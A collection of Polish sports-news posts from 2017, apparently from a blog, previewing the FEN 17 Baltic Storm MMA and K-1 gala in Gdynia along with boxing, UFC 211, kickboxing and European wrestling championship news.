FEN 17 Baltic Storm: zapowiedź walki Łebkowski vs Bucius

Po porażce z Brazyliczykiem Gabrielem Silvą czołowy piórkowy polskiego MMA Kamil Łebkowski dziś wieczorem w Gdynia Arena musi pokonać Litwina Sauliusa Buciusa, aby jego plany znalezienia się w UFC nie pozostały tylko w sferze marzeń. Zobaczcie zapowiedź walki wieczoru gali FEN 17 Baltic Storm!

Bilety do kupienia na Eventim.pl (http://goo.gl/j0EA4n) i KupBilet.pl (http://goo.gl/i6vKYs) oraz w kasie hali Gdynia Arena.

[kod]

Miliony pojawią się na stole?

Krzysztof „Diablo” Włodarczyk dał swoim kibicom wiele radości. Bokser zapisał na swoim koncie tytuły mistrza świata WBC i IBF. Czy to już tylko wspomnienie? 20 maja w Poznaniu stoczy pojedynek, który może być dla niego przepustką do kolejnych sukcesów. Rywalem Polaka będzie Noel Gevor.

Gdy wydawało się, że kariera Włodarczyka znalazła się na zakręcie, on wrócił i zaczął boksować. Krok po kroku dochodził do formy. Nigdy nie ukrywał, że chciałby wrócić do światowej czołówki.

Zrobić krok w kierunku walki o pas

Sześć razy skutecznie bronił pasa WBC. Tytuł wywalczył w maju 2010 roku, kiedy w Łodzi w ósmej rundzie pokonał Giacobbe Fragomeniego. Później tytuł próbowali mu odebrać Jason Robinson, dwukrotnie Francisco Palacios, Danny Green, Rakhin Chakhiev i raz jeszcze Polak spotkał się z Fragomenim. Trzy z tych walk „Diablo” wygrał przed czasem. Pasa WBC bronił w Polsce, Australii, Rosji i USA. Wydawało się, że nikt nie będzie w stanie mu odebrać tytułu mistrzowskiego. 27 września 2014 roku Włodarczyk spotkał się w Moskwie z Grigorym Drozdem. Polak był cieniem samego siebie i przegrał na punkty.

Później zniknął na pół roku. Miał stoczyć rewanżowy pojedynek z Drozdem, ale rozchorował się. W grudniu 2015 roku planowano starcie Włodarczyka z Beibutem Szumenowem, jednak ten doznał kontuzji kolana. W końcu „Diablo” pojawił się w ringu w marcu w Sosnowcu i odprawił przed czasem Valery'ego Brudowa. Wielu podkreślało, że jeszcze sporo wody musi upłynąć w Wiśle, zanim były mistrz świata wrócić do optymalnej formy. Włodarczyk stoczył jeszcze dwie wygrane walki. W tym roku jeszcze nie walczył, w ringu pojawi się 20 maja.

Rywalem Włodarczyka w Poznaniu będzie Noel Gevor. Jeśli Polak wygra, mogą otworzyć się przed nim nowe możliwości. W wieku blisko 36 lat może po raz kolejny zaatakować mistrzostwo świata i duże pieniądze.

Kasa na stół!

26-letni Gevor stoczył dotychczas 22 zwycięskie walki, nie zanotował żadnej porażki. Reprezentant Niemiec urodzony w Armenii może pochwalić się pasem WBO International kategorii junior ciężkiej, który wywalczył półtora roku temu. Doświadczeniem Włodarczyk bije rywala na głowę.

Wygrana w Poznaniu pozwoli „Diablo” stać się pretendentem do tytułu IBF, który obecnie posiada Murat Gasijew. Ale na tym nie koniec. Projekt pięściarski firmy Comosa AG zakłada organizację turnieju w trzech kategoriach wagowych, wśród nich ma być waga junior ciężka. Dla Polaka uczestnictwo w zmaganiach stanowiłoby szansę na powrót na szczyt i ogromny prestiż. Nie wiadomo, czy Włodarczyk znajdzie się w gronie ośmiu zawodników, ale ma na to szanse. Na zwycięzcę turnieju czekać będzie dziesięć milionów dolarów.

KM

Kasperski będzie walczył o pas!

30 czerwca w Monako w pojedynku na zasadach K-1 Dawid Kasperski spotka się z Gregory'm Grossim. Stawką walki będzie pas mistrza świata WAKO-Pro.

Kolejne wyzwanie przed zawodnikiem Punchera Wrocław. Za każdym razem w krajowych potyczkach Dawid Kasperski potwierdza swoją dominację, również na arenie europejskiej pokazuje klasę. Czy w Monako zachwyci kibiców?

Po kolejne zwycięstwo

W marcu zawodnik Punchera Wrocław udał się do Holandii, aby podpatrywać i trenować razem z utytułowanym Nicolaasem Holzkenem. 33-latek zdobywał doświadczenie w kickboxingu i boksie. Przez wiele lat był niepokonany w organizacji Glory. Dwa tygodnie w Holandii dały potężny zastrzyk energii Kasperskiemu, który w kwietniu zaprezentował się na gali Perun Fight Night 2. Polak mógł wznieść ręce w geście triumfu po walce z Adrianem Valentiną. Warto dodać, że na słowackiej gali zaprezentował się również Arkadiusz Kaszuba, który wygrał swój pojedynek. 

W tym roku Dawid Kasperski sięgnął po mistrzostwo Polski K-1 w kategorii 86kg. Trzy walki, trzy zwycięstwa i wszystko było jasne. Tak prezentuje się mistrz Polski K-1. Zdecydowany, pewny i skuteczny. Czy tak będzie w Monako? 30 czerwca na gali Monte-Carlo Fighting Trophy „Clash of the Titans” rywalem 26-latka będzie Francuz Gregory Grossi. Zwycięzca będzie mógł szczycić się posiadaniem pasa mistrzowskiego WAKO-Pro.

Cel jest oczywisty. Dawid Kasperski mierzy w piąte zwycięstwo z rzędu.

Doświadczony rywal

Z roku na rok Kasperski wygląda coraz lepiej. Trzeba jasno powiedzieć, że Polak należy do ścisłej czołówki wagi półciężkiej w Europie. Ale w Monako nie będzie miał łatwego zadania. Wiadomo, że chcąc się doskonalić musi pokonywać mocnych rywali. Stać go na to, co potwierdził w sierpniu ubiegłego roku, kiedy na gali Superkombat pokonał Alexandru Negrea.

Najbliższy rywal Polaka, Gregory Grossi jest wysoki, mierzy 195 cm. W 2011 roku sięgnął po brąz mistrzostw świata WAKO. 33-latek zdobywał również mistrzostwo Europy WAKO, a także tytuł czempiona globu organizacji WKN i IFMA. Stoczył ponad 80 walk, z których 71 zakończyło się jego triumfem.

KM

FEN 17 Baltic Storm: media trening i ceremonia ważenia

FEN 17 Fight Week czas zacząć! Już jutro pierwszy event poprzedzający piątkową galę FEN 17 Baltic Storm, czyli media trening w Energy Club Gdynia, a w czwartek – oficjalna ceremonia ważenia w Gdynia Arena. Transmisję na żywo z obu wydarzeń, którą przeprowadzi telewizja Fightime.pl, będzie można oglądać na fanpage’u Fight Exclusive Night.

Oficjalny media trening – Energy Club, ul. Wendy 19, Gdynia, środa, 10 maja, godz. 17:00

Podczas czwartkowego media treningu przed kibicami i dziennikarzami zaprezentuje się połowa uczestników gali FEN 17 Baltic Storm. W gdyńskim Energy Clubie pojawi się siódemka zawodników MMA: Michał Wlazło, Piotr Hallmann, Aleksander Georgas, Ireneusz Szydłowski, Bartosz Leśko, Dmitriy Borsuk, Damian Tarabasz oraz jego przeciwnik Adam Brzezowski. Spośród walczących w piątek fighterów K-1 próbkę swoich umiejętności zademonstrują Jarosław Daschke, Kryspin Kalski, Artur Bizewski, Alan Kwieciński i jego rywal Kamil Mateja.

Oficjalna ceremonia ważenia – Gdynia Arena, ul. Kazimierza Górskiego 8, Gdynia, czwartek, 11 maja, godz. 15:30

Tradycyjnie już zawodnicy walczący na gali Fight Exclusive Night będą mogli wejść na wagę już rano w hotelu, dzięki czemu będą mieć więcej czasu na regenerację i odpowiednie przygotowanie się do czekającej ich nazajutrz walki. Jeśli podczas dwugodzinnej sesji porannej fighterzy nie zmieszczą się w limitach wagowych dla swoich kategorii, ostatnią szansę zważenia się będą mieć podczas popołudniowej, otwartej dla mediów i publiczności oficjalnej ceremonii ważenia w Gdynia Arena.

Wstęp na oba wydarzenia jest wolny, zarówno dla kibiców, jak i dziennikarzy. Wszystkich, którzy nie będą mogli przybyć na media trening lub ceremonię ważenia, zapraszamy do śledzenia transmisji na żywo – relacje online przeprowadzi telewizja Fightime.pl i będzie je można śledzić na fanpage’u FEN oraz stronie Fightime.pl.

Bilety na galę FEN 17 Baltic Storm można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Jędrzejczyk wraca do Dallas

W najbliższą sobotę, 13, maja Joanna Jędrzejczyk stanie do piątej obrony mistrzowskiego tytułu wagi słomkowej. Na gali UFC 211 Polka zmierzy się z Jessicą Andrade. W Dallas zaprezentuje się również Krzysztof Jotko.

To może być polska noc w UFC. Jędrzejczyk urosła do miany gwiazdy kobiecego MMA, zaś Jotko coraz pewniej poczyna sobie w wadze średniej. Czy 27-latek z Ornety zrobi kolejny krok w kierunku walki o pas?

Wspomnienia z Dallas

29-letnia zawodniczka pochodząca z Olsztyna stoczy swoją 14 walkę w karierze. Do tej pory nie poniosła żadnej porażki. Jeśli wygra z Andrade, przybliży się do rekordu Rondy Rousey, która sześć razy skutecznie broniła tytułu w kategorii koguciej. Warto zwrócić uwagę, że gala UFC 211 odbędzie się w Dallas, gdzie Jędrzejczyk ponad dwa lata temu wywalczyła pas wagi słomkowej. W drugiej rundzie zasypała ciosami Carlę Esparzę i wygrała przed czasem.

Najbliższą rywalką Polki będzie Jessica Andrade. 25-letnia Brazylijka ma na swoim koncie 21 walk, z których 16 wygrała. Ostatnie miesiące w wykonaniu Andrade są imponujące. Wygrała trzy walki, w tym dwie przed czasem. W ostatnim występie okazała się lepsza od Angeli Hill. Ostatnią porażkę na swoim koncie Brazylijka zapisała we wrześniu 2015 roku, kiedy to musiała uznać wyższość Raquel Pennington.

Występ w Dallas może być wyjątkowy dla Krzysztofa Jotko. Jeśli wygra, jego marzenia o walce o pas mistrzowski mogą stać się realne. 27-letni Jotko spisuje się fantastycznie w UFC. Wygrał pięć kolejnych pojedynków. W ostatnim starciu, UFC Fight Night 100, pokonał doświadczonego Brazylijczyka Thalesa Leitesa. Teraz Polak stanie naprzeciw Davida Brancha, który wraca do UFC. 35-latek ostatni pojedynek w amerykańskiej organizacji stoczył 3 marca 2011 roku. Musiał wtedy pogodzić się z porażką w starciu z Rousimarem Palharesem. Jednak nie zginął z pola widzenia. Branch występował z powodzeniem na galach prestiżowej organizacji WSOF i zapisał na swoim koncie mistrzowskie pasy wagi średniej i półciężkiej. Może pochwalić się imponującą serią dziesięciu wygranych z rzędu. 

Rocznica Miocica

14 maja 2016 roku Stipie Miocic pokonał na gali UFC 198 w Kurytybie Fabricio Werduma i sięgnął po pas mistrzowski w wadze ciężkiej. Dotychczas bronił go raz. Amerykanin efektownie pokonał Alisatiara Overeema. 

W Dallas zmierzy się z Juniorem dos Santosem, któremu będzie chciał się zrewanżować za porażkę z grudnia 2014 roku. Dla Brazylijczyka to kolejna szansa na odzyskanie mistrzowskiego tytułu. 33-latek stracił pas ponad cztery lata temu w starciu z Cainem Velasquez. Próbował odzyskać tytuł, ale bezskutecznie. Czy tym razem dos Santos będzie miał powody do radości?

Karta walki gali UFC 211:

Walka o pas wagi ciężkiej
265 lb: Stipe Miocic – Junior dos Santos  

Walka o pas wagi słomkowej kobiet
115 lb: Joanna Jędrzejczyk – Jessica Andrade 

170 lb: Demian Maia – Jorge Masvidal
145 lb: Yair Rodriguez – Frankie Edgar
125 lb: Henry Cejudo – Sergio Pettis 

155 lb: Eddie Alvarez – Dustin Poirier
145 lb: Chas Skelly – Jason Knight 
185 lb: Krzysztof Jotko – David Branch 
155 lb: James Vick – Polo Reyes 
115 lb: Jessica Aguilar – Cortney Casey
145 lb: Michel Quinones – Jared Gordon 
265 lb: Chase Sherman – Rashad Coulter
145 lb: Enrique Barzola – Gabriel Benitez
205 lb: Gadżimurad Antigulow – Joachim Christensen

Fot. Facebook Joanny Jędrzejczyk

KM

FEN 17 Baltic Storm: plan transmisji na żywo

Piątkową galę FEN 17 Baltic Storm w Gdynia Arena będzie można oglądać na żywo w trzech stacjach telewizji Polsat i na platformie internetowej Ipla.tv, a relację online z dzisiejszego media trening i jutrzejszej ceremonii ważenia na fanpage’u FEN przeprowadzi Fightime.tv. Oto szczegółowa rozpiska planowanych transmisji live.

Oficjalny media trening (środa, 10 maja, Energy Club Gdynia) fanpage FEN – początek transmisji o godz. 17:00

Oficjalna ceremonia ważenia zawodników (czwartek, 11 maja, Gdynia Arena): fanpage FEN – początek transmisji o godz. 15:30

Gala FEN 17 Baltic Storm (piątek, 12 maja, Gdynia Arena):
Polsat Sport Fight – początek transmisji o godz. 19:00 (karta wstępna, ceremonia otwarcia, karta główna i walka wieczoru)
Polsat Sport – początek transmisji o godz. 20:00 (ceremonia otwarcia, karta główna i walka wieczoru)
Super Polsat – początek transmisji o godz. 21:10 (karta główna i walka wieczoru)
Ipla.tv – początek transmisji: godz. 19:00 (karta wstępna, ceremonia otwarcia, karta główna i walka wieczoru)

Przypominamy, że wstęp na dzisiejszy media trening i jutrzejszą ceremonię ważenia jest wolny dla mediów i kibiców. Bilety na piątkową galę FEN 17 Baltic Storm można jeszcze kupować w serwisach Eventim.pl oraz KupBilet.pl.

Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Emocje w oktagonie, czyli gala FEN 17 [KONKURS]

12 maja w Gdynia Arena odbędzie się gala FEN 17: Baltic Storm. Mocna karta walka ma być gwarantem ogromnych emocji. Chcesz przeżyć je z bliska? Nic prostszego! Weź udział w naszym konkursie, w którym do wygrania osiem pojedynczych wejściówek na galę FEN 17.

Organizacja Fight Exclusive Night nie zwalnia tempa. To już trzecia tegoroczna gala FEN. Wcześniejsze odbyły się w Lubinie i w Warszawie.

Mocna karta walk

Fight Exclusive Night stara się oferować widzom różnorodność, dlatego organizacja postawiła na rywalizację w MMA i K-1. W karcie walk pojawiają się coraz ciekawsze nazwiska, które są gwarantem wspaniałego widowiska.

12 maja w pojedynku wieczoru zobaczymy Kamila Łebkowskiego, który zmierzy się Caio Machado. 29-letni Polak stoczył dwie walki dla FEN. W debiucie decyzją sędziów pokonał Piotra Hallmanna, a w Warszawie uległ Gabrielowi Silvie. Caio Machado to ogromny talent brazylijskiego MMA, któremu znawcy wróżą przyszłość w UFC. Wygrał 10 z 13 walk. Rodzimej publiczności będzie mógł się zaprezentować Piotr Hallmann. W ostatnich pięciu walkach 29-latek odniósł tylko jedno zwycięstwo. Były zawodnik UFC zrobi wszystko, aby triumfować w Gdyni. Jego rywalem będzie Patryk Nowak.

W K-1 zobaczymy Radosława Paczuskiego (85kg). Na FEN 16 zawodnik z Warszawy poradził sobie z Georgem Daviesem. W Gdyni Polak zmierzy się z silnym Menno Van Roosmalenem. Holender ma w pamięci porażkę z Dawidem Kasperskim, której doznał jesienią ubiegłego roku. W ostatnim występie 26-latek znokutował Steve'a Beirę. Ciekawie zapowiada się starcie Marcina Szredera z Arturem Bizewskim. Będzie to drugie spotkanie kickboxerów. Na gali FEN 13 lepszy okazał się Bizewski. Występy obu zawodników można było śledzić podczas marcowej gali w Warszawie. Szreder pewnie wypunktował Ayataka Yahsima, z kolei Bizewski przegrał z Arkadiuszem Wrzoskiem.

12 maja kibice będą świadkami rywalizacji w oktagonie, który zastąpi klatkoring.

Karta walk gali FEN 17: Baltic Storm:

MMA 66 kg: Kamil Łebkowski vs. Caio Machado
MMA 120 kg: Michał Wlazło vs. Martin Chudej
MMA 93 kg: Michał Oleksiejczuk vs. Ricardo Nosiglia
K-1 85 kg: Radosław Paczuski vs. Menno Van Roosmalen
MMA 70 kg: Piotr Hallmann vs. Patryk Nowak
K-1 70 kg: Jarosław Daschke vs. Robert Rajewski
K-1 95 kg: Marcin Szreder vs. Artur Bizewski
K-1 120 kg: Kryspin Kalski vs. Mateusz Łazowski
MMA 66 kg: Aleksander Georgas vs. Jakub Kowalewicz
MMA 84 kg: Aleksander Rychlik vs. Bartosz Leśko
MMA 77 kg: Ireneusz Szydłowski vs. Dmitrij Borsuk
K-1 70 kg: Alan Kwieciński vs. Kamil Mateja
MMA 77 kg: Damian Tarabasz vs. Adam Brzezowski

KONKURS!

Chcesz z bliska śledzić rywalizację na gali FEN 17? Nic prostszego! Zapraszamy do udziału w naszym konkursie! Wystarczy, że 9 maja o godz. 16.00 wyślesz maila na adres: k.malkinski@marklaw.pl, a w treści podasz imię, nazwisko i numer telefonów. W puli mamy osiem pojedynczych wejściówek. O zwycięstwie decyduje kolejność zgłoszeń.

Konkurs rozstrzygnięty – bilety zostały rozdane.

KM

Cztery pasy na szali

Kolejny potężny cios zostanie wyprowadzony w świecie boksu. 16 września w Las Vegas zmierzą się Giennadij Gołowkin i Saul Alvarez.

O tym pojedynku mówiło się od dłuższego czasu. Niektórzy zdążyli już zwątpić w powodzenie negocjacji między obozami Gołowkina i Alvareza. W końcu nastąpił przełom i 16 września dojdzie do wojny o panowanie w wadze średniej.

Starcie gigantów

Wszyscy szykują się na prawdziwe bokserskie widowisko. Już dziś walka Gołowkina i Alvareza urasta do miana hitu jesieni. Z pewnością pięściarzy stać na to, aby zaspokoić publiczność zgromadzoną w Las Vegas i przed telewizorami. W końcu mówimy o dwóch mocnych nazwiskach.

O tym, że „coś w trawie” piszczy mówiło się wielokrotnie. Pisaliśmy o tym tu. Jak wiadomo, w takich przypadkach przeszkód nie brakuje. Nie da się ukryć, że ważnym elementem rozmów są pieniądze. Na początku 2016 roku na przeszkodzie stanęły właśnie finanse. Gołowkin nie był zadowolony z przedstawionej oferty, a „Canelo” cały czas czekał i w końcu Meksykanin musiał oddać pas wagi średniej WBC. We wrześniu ubiegłego roku Kazach spotkał się z Kellem Brookiem i rozbił go w piątej rundzie. Następnie pokonał Daniela Jacobsa, choć w opinii wielu niemiłosiernie męczył się z 30-letnim Amerykaninem.

W tym roku przebąkiwało się, że temat ponownie walki Gołowkina z Alvarezem ponownie wrócił. 6 maja w Las Vegas szykowała się meksykańska wojna. Alvarez wszedł do ringu z Julio Cesarem Chavezem Jr., który swego czasu przegrał z Andrzejem Fonfarą. „Canelo” nie miał większych problemów z pokonaniem starszego rywala. Przez dwanaście rund zupełnie zdominował Chaveza Jr., choć nie potrafił go znokautować. Po ostatnim gongu mógł wznieść ręce w geście triumfu i świętować 49. zwycięstwo na zawodowym ringu.

Wtedy nastąpił przełom. Na ringu pojawił się… Gołowkin i wtedy świat usłyszał, że 16 września dojdzie do starcia o panowanie w wadze średniej. Na szali pojawią się pasy WBC, WBA, IBF i IBO.

Kto faworytem?

Bukmacherzy większe szanse na zwycięstwo dają Kazachowi. Na korzyść Gołowkina przemawia jego bilans i skuteczność (33 z 37 walk zakończył przed czasem) oraz dorobek mistrzowski. Z kolei Alvarez jest znacznie młodszy (26 lat), ale już niezwykle doświadczony. Ma na swoim koncie ponad 50 zawodowych walk i tylko jedną porażkę. Jednak przegrana z Floydem Mayweatherem Jr. pokazuje, że mocny Meksykanin w starciu z doświadczeniem może mieć problemy. 16 września lata praktyki mogą okazać się niezwykle cenne dla Gołowkina.

Kazach nie zostawił suchej nitki na rywalu po jego walce z Chavezem Jr. – To były nudy, wyglądało jak sparing – powiedział Gołowkin. 

KM

Dwa medale, czy będzie więcej?

Mistrzostwa Europy w zapasach na ostatniej prostej. W niedzielę w Nowym Sadzie dorobek medalowy reprezentacji Polski postarają poprawić się klasycy: Dawid Kareciński (71kg), Edgar Babayan (80kg) i Tadeusz Michalik (85kg). Tytułem wicemistrza Starego Kontynentu może pochwalić się Magomedmurad Gadżijew (70kg).

Rok temu w Rydze biało-czerwoni wywalczyli pięć medali, co dało im siódmą pozycję w klasyfikacji końcowej. W Nowym Sadzie o powtórzenie tego wyniku może być trudno.

Gadżijew nie zawodzi

Występujący od 2014 roku w barwach Polski Gadżijew na arenie europejskiej gwarantuje dobre wyniki. Dwa lata zapaśnik walczący w stylu wolnym zdobył w Baku srebrny medal Igrzysk Europejskich. Z kolei w 2016 roku w Rydze sięgnął po tytuł mistrza Europy. Liczyliśmy, że w Rio de Janeiro 29-latek pokusi się o medal Igrzysk Olimpijskich, jednak tak się nie stało. W rywalizacji w kategorii 65kg Gadżijew przegrał w 1/8 finału z Frankiem Aniello Molinaro.

Do Nowego Sadu zawodnik Wrestler Teamu jechał, żeby obronić mistrzowski tytuł, a minimum było miejsce na podium. Rywalizację w Serbii Gadżijew rozpoczął zgodnie z planem. W kolejnych pojedynkach pokazywał swoją wyższość nad rywalami i wygrywał na punkty. Reprezentant Polski odprawił: Nikolaja Kurtiewa, Semena Radułowa i Israiła Kasumowa. Jednak po starciu ćwierćfinałowym pojawił się strach. Przy jednym z ataków Radułow wykrzywił stopę Gadżijewa, a ten schodził z maty kulejąc. Twardo walczył dalej i doszedł do finału, gdzie spotkał się z Frankiem Chamizo Marquezem. Reprezentant Włoch szybko zdobył pierwsze punkty, później przeprowadził kolejną akcję i robił wszystko, żeby nie pozwolić mistrzowi Europy z Rygi na skuteczny atak. Gadżijew szukał swojej szansy, ale Marquez skutecznie się bronił. Rywal zbierał ostrzeżenia, ale ostatecznie wygrał 4:3.

Sukcesu z Rygi nie powtórzył Robert Baran (125kg). Rok temu Polak wywalczył srebrny medal. W Nowym Sadzie wygrał jedną walkę, a w ćwierćfinale musiał uznać wyższość Daniela Ligeti. Ostatecznie Baran został sklasyfikowany na siódmym miejscu. Ubiegłoroczny mistrz, Geno Petriashvili, zdobył brąz.

Siódme miejsce zajął również Radosław Grzybicki (98kg), Przemysław Piątek wraca z Nowego Sadu na ósmej pozycji, a Mateusz Bernatek (66kg) był dziesiąty, tak jak i Daria Osocka (75kg). Na dziewiątych lokatach uplasowali się: Katarzyna Mądrowska (58kg) i Andrzej Sokalski (74kg).

Powiększyć konto

Ostatni dzień mistrzostw Europy to szansa na powiększenie dorobku medalowego Polski. Dotychczas zapisaliśmy na swoim koncie dwa krążki. Mistrzynią Europy została Monika Michalik, a wspomniany Gadżijew sięgnął po srebrny medal.

Nadzieja na kolejne krążki w Nowym Sadzie jest spora. Wśród klasyków mamy medalistów ubiegłorocznych mistrzostw Europy. W Rydze srebro wywalczył Edgar Babayan (80kg), zaś Tadeusz Michalik zdobył brąz (85kg). W Nowym Sadzie zaprezentuje się trzeci zawodnik ubiegłorocznych mistrzostw świata wojskowych Dawid Kareciński.

KM

Borsuk rywalem Szydłowskiego na FEN 17 Baltic Storm

Federacja Fight Exclusive Night ujawniła ostatnią niewiadomą karty walk gali FEN 17 Baltic Storm – z Ireneuszem Szydłowskim w najbliższy piątek w Gdynia Arena zmierzy się debiutujący w FEN, niepokonany w zawodowym MMA ukraiński prospekt Dmitriy Borsuk.

Ireneusz Szydłowski w organizacji Fight Exclusive Night walczył już dwukrotnie. W debiucie na gali FEN 14 Summer Edition w drugiej rundzie potężnym front-kickiem powalił na deski Bartosza Chyrka, wieńcząc dzieło serią ciosów w parterze – dzięki tej akcji nie tylko wygrał walkę, ale też zdobył bonus za nokaut wieczoru. W kolejnym starciu na niedawnej gali FEN 16 Warsaw Reloaded zmierzył się ze znacznie wyżej notowanym Pawłem Pawlakiem – reprezentant Baltic Fighters MMA postawił byłemu zawodnikowi UFC twarde warunki i uległ mu dopiero po trzech rundach zaciętego, widowiskowego pojedynku. Była to druga porażka Szydłowskiego w zawodowej karierze – w siedmiu wcześniej stoczonych walkach przegrał tylko z doskonale znanym Anglikiem Shaunem „The Legend” Lomasem.

Debiutujący w FEN Dmitriy Borsuk to 21-letni, utalentowany zawodnik jednego z najmocniejszych klubów Ukrainy – Aurum Kijów, gdzie trenuje pod okiem doświadczonych szkoleniowców Aleksandra Dydochkina i Vladimira Kalyinyia. Zaliczany jest do najbardziej perspektywicznych ukraińskich fighterów młodego pokolenia – z powodzeniem rywalizuje nie tylko w formule MMA, ale także w muay thai i K-1. Jego największym sukcesem jest złoty medal wywalczony w ubiegłym roku na mistrzostwach Europy. Oprócz tego pięciokrotnie zdobywał tytuł amatorskiego mistrza kraju. Dotychczas Borsuk na zawodowych arenach stoczył sześć walk w formule MMA, pewnie wygrywając wszystkie pojedynki.

W pozostałych siedmiu walkach na zasadach MMA na gali FEN 17 Baltic Storm zmierzą się m.in. Kamil Łebkowski z Brazylijczykiem Caio Machado, Piotr Hallmann z Patrykiem Nowakiem, Michał Wlazło z Czechem Martinem Chudejem, Michał Oleksiejczuk z Włochem Riccardo Nosiglią oraz Jakub Kowalewicz z Aleksandrem Georgasem. Ponadto w formule K-1 w Gdynia Arena walczyć będą tego wieczora tacy znakomici zawodnicy, jak Radosław Paczuski, Jarosław Daschke, Marcin Szreder, Artur Bizewski i Kryspin Kalski. Pełny fight card gali na oficjalnej stronie FEN.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Co dalej z Władimirem?

Nie milkną echa walki pomiędzy Anthony'm Joshuą a Władimirem Kliczko. Była to najlepsza reklama boksu. Czy dojdzie do rewanżu? – to pytanie padło już nie raz. Nie brakuje również dyskusji na temat dalszych losów Władimira Kliczko.

29 kwietnia cały świat podziwiał wspaniałe widowisko. Joshua i Kliczko pokazali ogromne umiejętności. Walka była pełna emocji, potężnych bomb i zwrotów akcji. W tej konfrontacji lepsza okazała się młodość.

Czy dojdzie do rewanżu?

Kontrakt zawarty między obozami Joshuy i Kliczko przewiduje walkę rewanżową, jednak nie jest powiedziane, że były czempion wagi ciężkiej skorzysta z tego prawa. Warto pamiętać, iż po porażce z Tysonem Fury'm w listopadzie 2015 roku 41-latek zabiegał o możliwość ponownego spotkania się z Brytyjczykiem. Jak wiadomo, do starcia nie doszło. Światło dzienne ujrzały problemy Fury'ego z używkami.

Jednak to już przeszłość, a teraz Joshua otworzył nowy rozdział historii. 19 walk i wszystkie wygrane przed czasem. 27-latek w 11. rundzie starcia na Wembley zmasakrował Władimira Kliczko, który dwa razy padał na deski. W końcu sędzia przerwał pojedynek.

Rewanż jest możliwy, a dyskusja na ten temat jest niezwykle gorąca. Pojawiła się nawet propozycja miejsca, w którym miałoby dojść do kolejnej walki Joshuy z Kliczko. Pięściarze mieliby rywalizować na stadionie olimpijskim w Pekinie. Z bliska walkę mogłoby śledzić ponad 91 tysięcy widzów.

W przypadku Joshuy mówi się o ewentualnym starciu z Tysonem Fury'm. Jednak mistrz IBF, IBO oraz superczempion WBA miałby się spotkać ze swoim rodakiem wiosną przyszłego roku. Co istotne, na horyzoncie pojawił się Kubrat Pulew. Bułgar jest obowiązkowym pretendentem do pasa IBF. Wydaje się, że walka Joshuy i Pulewa jest nieunikniona. Federacja IBF wysłała pismo w tej sprawie do obozów pięściarzy. Niewykluczone jednak, że Joshua zrzeknie się tytułu. Wszystko przez duże prawdopodobieństwo rewanżu z Kliczko, a co za tym idzie – szansą na ogromne pieniądze. 

Witalij Kliczko podkreśla, że jego brat może czuć się zmęczony, a kolejne spotkanie z Joshuą musiałoby być poparte motywacją. – Jeśli Władimir miałby wyjść tylko dla walki, żeby zapisać ostatni występ, to byłbym temu przeciwny. Potrzebna jest motywacja – zaznacza starszy z braci Kliczko.

Czy warto jeszcze walczyć?

Niektórzy zwracają uwagę na dokonania Władimira Kliczko i jego miejsce w historii boksu. Przez 12 lat Ukrainiec utrzymywał się na szczycie wagi ciężkiej. Tego nikt mu nie odbierze. W swojej kolekcji zapisał pasy IBF, IBO, WBA, WBO.

Mistrz WBC Deontay Wilder uważa, że nadszedł właściwy czas, aby Kliczko zakończył karierę. –  Nie niszcz swojego wizerunku, Władimir. Już masz zagwarantowane miejsce w Galerii Sław i status legendy – nie psuj tego! – powiedział amerykański bokser.

KM

Kwieciński vs Mateja w karcie walk FEN 17 Baltic Storm

Alan Kwieciński ponownie zawalczy w organizacji Fight Exclusive Night! Tym razem dwukrotny kickbokserski wicemistrz świata i była gwiazda programu „Warsaw Shore” stoczy pojedynek w formule K-1, a jego rywalem 12 maja na gali FEN 17 Baltic Storm w Gdynia Arena będzie utalentowany prospekt z Kaszub – srebrny medalista Pucharu Świata Kamil Mateja.

Debiutujący w organizacji FEN Kamil Mateja to jeden najbardziej perspektywicznych kickbokserów młodego pokolenia. Potwierdzeniem klasy tego młodego, ambitnego zawodnika są sukcesy na imprezach rangi mistrzowskiej w kraju i zagranicą, m.in. drugie miejsce w Pucharze Świata w low-kick w 2015 roku, zdobyty rok później srebrny medal mistrzostw Polski w kick-light i wywalczony zaledwie miesiąc temu pas mistrza kraju w tej formule. Reprezentant silnego kickbokserskiego klubu PCNP Rebelia Kartuzy, w którym szlifuje swoje umiejętności pod okiem doświadczonego trenera Patryka Zaborowskiego, w zawodowym ringu debiutował półtora roku temu, efektownie nokautując Macieja Pawłowskiego.

Dla Alana Kwiecińskiego będzie to drugi występ na arenie Fight Exclusive Night, ale po raz pierwszy będzie walczył w pojedynku na zasadach K-1 – poprzednią walkę, na gali FEN 11 Warsaw Time, stoczył w formule MMA. Olsztynianin szerokiej publiczności znany jest jako jedna z gwiazd popularnego reality show „Warsaw Shore: Ekipa z Warszawy”, ale miłośnicy sportów walki wiedzą, że Kwieciński jest przede wszystkim utalentowanym kickbokserem. Trenujący obecnie w WCA Fight Team Warszawa zawodnik w 2013 i 2016 roku zdobywał tytuły wicemistrza świata, a w 2014 roku zajął trzecie miejsce w Pucharze Świata. Miał także okazję walczyć na prestiżowej gali King of Kings World GP 2014 w Płocku. Aby móc się bardziej poświęcić swojej sportowej pasji, Kwieciński rok temu zrezygnował z udziału w programie i skoncentrował się tylko na treningach. Jako zawodowiec stoczył dotychczas 8 walk, z których 5 zakończyło się jego zwycięstwem.

Na gali FEN 17 Baltic Storm kibice zobaczą jeszcze trzy inne walki w formule K-1 – Radosława Paczuskiego z Holendrem Menno Van RoosmalenemArtura Bizewskiego z Marcinem Szrederem oraz Jarosława Daschke z Robertem Rajewskim juniorem. Na zasadach MMA tego wieczora walczyć będą m.in. Kamil ŁebkowskiPiotr HallmannMichał WlazłoMichał OleksiejczukAleksander GeorgasIreneusz Szydłowski i Bartosz Leśko. Pełny fight card gali na oficjalnej stronie FEN.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Kryspin Kalski vs Mateusz Łazowski na gali FEN 17 Baltic Storm

